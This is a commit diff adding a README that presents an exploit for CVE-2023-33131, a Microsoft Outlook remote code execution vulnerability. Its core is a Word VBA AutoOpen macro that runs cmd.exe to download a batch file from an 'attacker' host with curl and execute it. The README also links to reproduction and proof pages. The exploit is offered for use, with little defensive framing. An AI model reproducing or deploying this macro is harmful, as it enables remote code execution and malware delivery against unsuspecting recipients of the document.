Update README.MD
This commit is contained in:
parent
6adf32030a
commit
dc6babc68f
1 changed files with 27 additions and 0 deletions
|
|
@ -1,3 +1,30 @@
|
|||
## [CVE-2023-33131-Microsoft Outlook Remote Code Execution Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-33131)
|
||||
|
||||

|
||||
|
||||
## Description:
|
||||
In this vulnerability, the Microsoft Outlook app allows an attacker to send an infected Word file with malicious content
|
||||
to everyone who using the Outlook app, no matter web or local.
|
||||
Microsoft still doesn't have a patch against this 0-day vulnerability today.
|
||||
|
||||
## Staus: HIGH Vulnerability
|
||||
|
||||
[+]Exploit:
|
||||
|
||||
- The malicious Word file:
|
||||
|
||||
```js
|
||||
Sub AutoOpen()
|
||||
Call Shell("cmd.exe /S /c" & "curl -s https://attacker/namaikativputkata/sichko/nikoganqqsaopraite.bat > nikoganqqsaopraite.bat && .\nikoganqqsaopraite.bat", vbNormalFocus)
|
||||
End Sub
|
||||
|
||||
```
|
||||
|
||||
## Reproduce:
|
||||
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33131)
|
||||
|
||||
## Proof and Exploit
|
||||
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33131-microsoft-outlook.html)
|
||||
|
||||
## Time spend:
|
||||
00:30:00
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue